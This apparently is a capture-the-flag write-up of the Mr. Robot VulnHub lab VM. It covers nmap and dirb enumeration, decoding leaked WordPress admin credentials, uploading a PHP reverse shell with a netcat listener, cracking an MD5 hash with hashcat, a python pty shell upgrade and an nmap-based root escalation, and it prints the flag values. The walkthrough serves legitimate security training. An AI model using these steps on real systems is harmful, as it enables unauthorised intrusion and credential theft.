“Mr. Robot” VulnHub VM Writeup

Mr. Robot is a Linux-based vulnerable machine available on VulnHub.com. According to the author, the machine has three hidden flags which get progressively harder to find. Mr. Robot is considered beginner/intermediate level, and doesn’t require any advanced exploitation techniques to conquer.

ENUMERATION

The Mr. Robot VM is running on a host-only adapter/network of 192.168.110.0/24. The machine is set up to pull an IP from DHCP when it boots. I know the DHCP range on this subnet is .200-.254, so I start with a simple nmap scan to discover the machine:

nmap -vv 192.168.110.200-254

Results:

Scanning 192.168.110.201 [1000 ports]
Discovered open port 443/tcp on 192.168.110.201
Discovered open port 80/tcp on 192.168.110.201
Completed SYN Stealth Scan at 02:10, 4.97s elapsed (1000 total ports)
Nmap scan report for 192.168.110.201
Host is up, received arp-response (0.00077s latency).
Scanned at 2016-08-30 02:10:30 CDT for 6s
Not shown: 997 filtered ports
Reason: 997 no-responses
PORT    STATE  SERVICE REASON
22/tcp  closed ssh     reset ttl 64
80/tcp  open   http    syn-ack ttl 64
443/tcp open   https   syn-ack ttl 64

Right away, we see the IP address of the machine is 192.168.110.201 and that ports 80 and 443 are open. Navigating to 192.168.110.201 in the browser, we find the interactive Mr. Robot website from the TV show, but nothing of real interest.

Now we’ll run DirBuster to try and enumerate the files/folders on the web-server:

dirb http://192.168.110.201

And get a big list of results to look through:

---- Scanning URL: http://192.168.110.201/
==> DIRECTORY: http://192.168.110.201/0/
==> DIRECTORY: http://192.168.110.201/admin/
+ http://192.168.110.201/atom (CODE:301|SIZE:0)
==> DIRECTORY: http://192.168.110.201/audio/
==> DIRECTORY: http://192.168.110.201/blog/
==> DIRECTORY: http://192.168.110.201/css/
+ http://192.168.110.201/dashboard (CODE:302|SIZE:0)
+ http://192.168.110.201/favicon.ico (CODE:200|SIZE:0)
==> DIRECTORY: http://192.168.110.201/feed/
==> DIRECTORY: http://192.168.110.201/image/
==> DIRECTORY: http://192.168.110.201/Image/
==> DIRECTORY: http://192.168.110.201/images/
+ http://192.168.110.201/index.html (CODE:200|SIZE:1077)
+ http://192.168.110.201/index.php (CODE:301|SIZE:0)
+ http://192.168.110.201/intro (CODE:200|SIZE:516314)
==> DIRECTORY: http://192.168.110.201/js/
+ http://192.168.110.201/license (CODE:200|SIZE:309)
+ http://192.168.110.201/login (CODE:302|SIZE:0)
+ http://192.168.110.201/page1 (CODE:301|SIZE:0)
+ http://192.168.110.201/phpmyadmin (CODE:403|SIZE:94)
+ http://192.168.110.201/rdf (CODE:301|SIZE:0)
+ http://192.168.110.201/readme (CODE:200|SIZE:64)
+ http://192.168.110.201/robots (CODE:200|SIZE:41)
+ http://192.168.110.201/robots.txt (CODE:200|SIZE:41)
+ http://192.168.110.201/rss (CODE:301|SIZE:0)
+ http://192.168.110.201/rss2 (CODE:301|SIZE:0)
+ http://192.168.110.201/sitemap (CODE:200|SIZE:0)
+ http://192.168.110.201/sitemap.xml (CODE:200|SIZE:0)
==> DIRECTORY: http://192.168.110.201/video/
==> DIRECTORY: http://192.168.110.201/wp-admin/
+ http://192.168.110.201/wp-config (CODE:200|SIZE:0)
==> DIRECTORY: http://192.168.110.201/wp-content/
+ http://192.168.110.201/wp-cron (CODE:200|SIZE:0)
==> DIRECTORY: http://192.168.110.201/wp-includes/
+ http://192.168.110.201/wp-links-opml (CODE:200|SIZE:227)
+ http://192.168.110.201/wp-load (CODE:200|SIZE:0)
+ http://192.168.110.201/wp-login (CODE:200|SIZE:2685)
+ http://192.168.110.201/wp-mail (CODE:500|SIZE:3064)
+ http://192.168.110.201/wp-settings (CODE:500|SIZE:0)
+ http://192.168.110.201/wp-signup (CODE:302|SIZE:0)
+ http://192.168.110.201/xmlrpc (CODE:405|SIZE:42)
+ http://192.168.110.201/xmlrpc.php (CODE:405|SIZE:42)

We see that WordPress is installed. But before messing with that, it’s crucial that we go through every other file/folder and look for useful information. The first interesting file we find is 192.168.110.201/license. NOTE: At first glance, this page just has one line of text taunting us. Make sure you look at the ENTIRE THING!

what you do just pull code from Rapid9 or some s@#% since when did you become a script kitty?

~~snip~~

do you want a password or something?

~~snip~~

ZWxsaW90OkVSMjgtMDY1Mgo=

At the very bottom of the file/page, we find what looks to be a base-64 encoded string. Let’s try decoding it in the terminal:

echo ZWxsaW90OkVSMjgtMDY1Mgo= | base64 -d
elliot:ER28-0652

Looks like we’ve found some credentials. Maybe they’re for WordPress? We’ll save these and finish up with our enumeration and looting of the web-server’s files and folders.

FIRST FLAG FOUND

After continuing to look through the files and directories found by DirBuster, we make our way into the robots.txt file. In there, we find two very interesting files:

User-agent: *
fsocity.dic
key-1-of-3.txt

The fsocity.dic file appears to be a wordlist that we’ll hang on to just in case we need it later. When we navigate to http://192.168.110.201/key-1-of-3.txt, we find the first of three flags:

073403c8a58a1f80d943455fb30724b9

WORDPRESS & GETTING A SHELL

With the first flag captured and the enumeration/looting of the webserver’s public files/directories complete, it’s time to take a look at the WordPress install. Using the elliot:ER28-0652 credentials we found earlier, we’re able to log into WordPress. It becomes immediately apparent that elliot is the administrator account:

Mr. Robot Vulnerable Machine - VulnHub

Now that we have access to the WordPress administrator account, we should be able to set up a reverse-shell back to a listener on our attack machine. I used a php reverse-shell from PentestMonkey and uploaded it to the server through WordPress’ built-in plugin installer. However, in hindsight, I also could have used WordPress’ built-in file editor to insert some malicious PHP into one of the many WordPress .php files.

Before executing the code on the server, let’s first set up a listener on our attack machine:

nc -lvp 666

//Note:Make sure you set this to whatever port your shell is trying to connect back to. I used 666 in this example.

With a listener running, we can now use the browser to navigate to the location of our shell code(http://192.168.110.201/wp-content/uploads/2016/08/shell.php) and hopefully get a shell on our attack machine:

PHP Reverse-shell on Mr. Robot Vulnerable Machine

With a shell established, let’s begin looking around. I tend to start in the home directory and in this instance we find a folder for a user named “robot”. Let’s cd into that folder and take a look if we can:

$cd /home/robot/
$ ls -asl
total 16
4 drwxr-xr-x 2 root  root  4096 Nov 13  2015 .
4 drwxr-xr-x 3 root  root  4096 Nov 13  2015 ..
4 -r-------- 1 robot robot   33 Nov 13  2015 key-2-of-3.txt
4 -rw-r--r-- 1 robot robot   39 Nov 13  2015 password.raw-md5

We find the 2nd key file, however we can’t read it due to the permissions. However, there is a file named password.raw-md5 that we can read:

$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

It looks to be the login and password hash for the user “robot”. Let’s place that hash in a text file on our attacker machine named hashes, and then use HashCat and the rockyou.txt wordlist to try and crack it:

hashcat -a 0 -m 0 hashes rockyou.txt
Initializing hashcat v2.00 with 2 threads and 32mb segment-size...

Added hashes from file hashes: 1 (1 salts)
Activating quick-digest mode for single-hash

c3fcd3d76192e4007dfb496cca67e13b:abcdefghijklmnopqrstuvwxyz
                                             
All hashes have been recovered

Input.Mode: Dict (rockyou.txt)
Index.....: 1/5 (segment), 3627099 (words), 33550343 (bytes)
Recovered.: 1/1 hashes, 1/1 salts
Speed/sec.: - plains, 2.77M words
Progress..: 1853946/3627099 (51.11%)
Running...: 00:00:00:01
Estimated.: --:--:--:--

So the password for user “robot” is abcdefghijklmnopqrstuvwxyz.

GETTING FLAG #2

When attempting to login as “robot” by using ‘su – robot’, I kept getting an error saying I could only execute this command from a terminal. I managed to get around this by borrowing the following command from g0tmi1k’s Basic Linux Privilege Escalation page:

python -c 'import pty;pty.spawn("/bin/bash")'

Which then allowed me to login as robot:

daemon@linux:/$ su - robot
Password: abcdefghijklmnopqrstuvwxyz

$ whoami
robot

Now that we’re logged in as robot, we can finally read the 2nd flag file:

$ cat /home/robot/key-2-of-3.txt
822c73956184f694993bede3eb39f959

GETTING ROOT & FLAG #3

Escalating privileges to root on Mr. Robot was definitely challenging for me. After doing all sorts of enumeration and searching for exploits on exploit-db/etc, I was stuck. I finally asked a friend who had recently completed Mr. Robot for help. He told me that nmap was installed on the VM, and that I should look into that. After some Google searching, I learned that nmap’s interactive mode could be used to escalate privileges in certain scenarios.

From there, it was smooth sailing and I managed to quickly get root privileges and read the third and final flag file:

Getting root on Mr. Robot Vulnerable Machine

CONCLUSION

This was a fun machine overall and taught me a few things:

First: How easily an Admin account on WordPress can be leveraged to get a shell on a server.

Second: How important enumeration is to privilege escalation. Even though I thought I had looked at everything, I had missed a relatively simple escalation vulnerability.

Enumerate, enumerate, enumerate…And then Google everything you find.

E-Mail MeTwitter @Hack312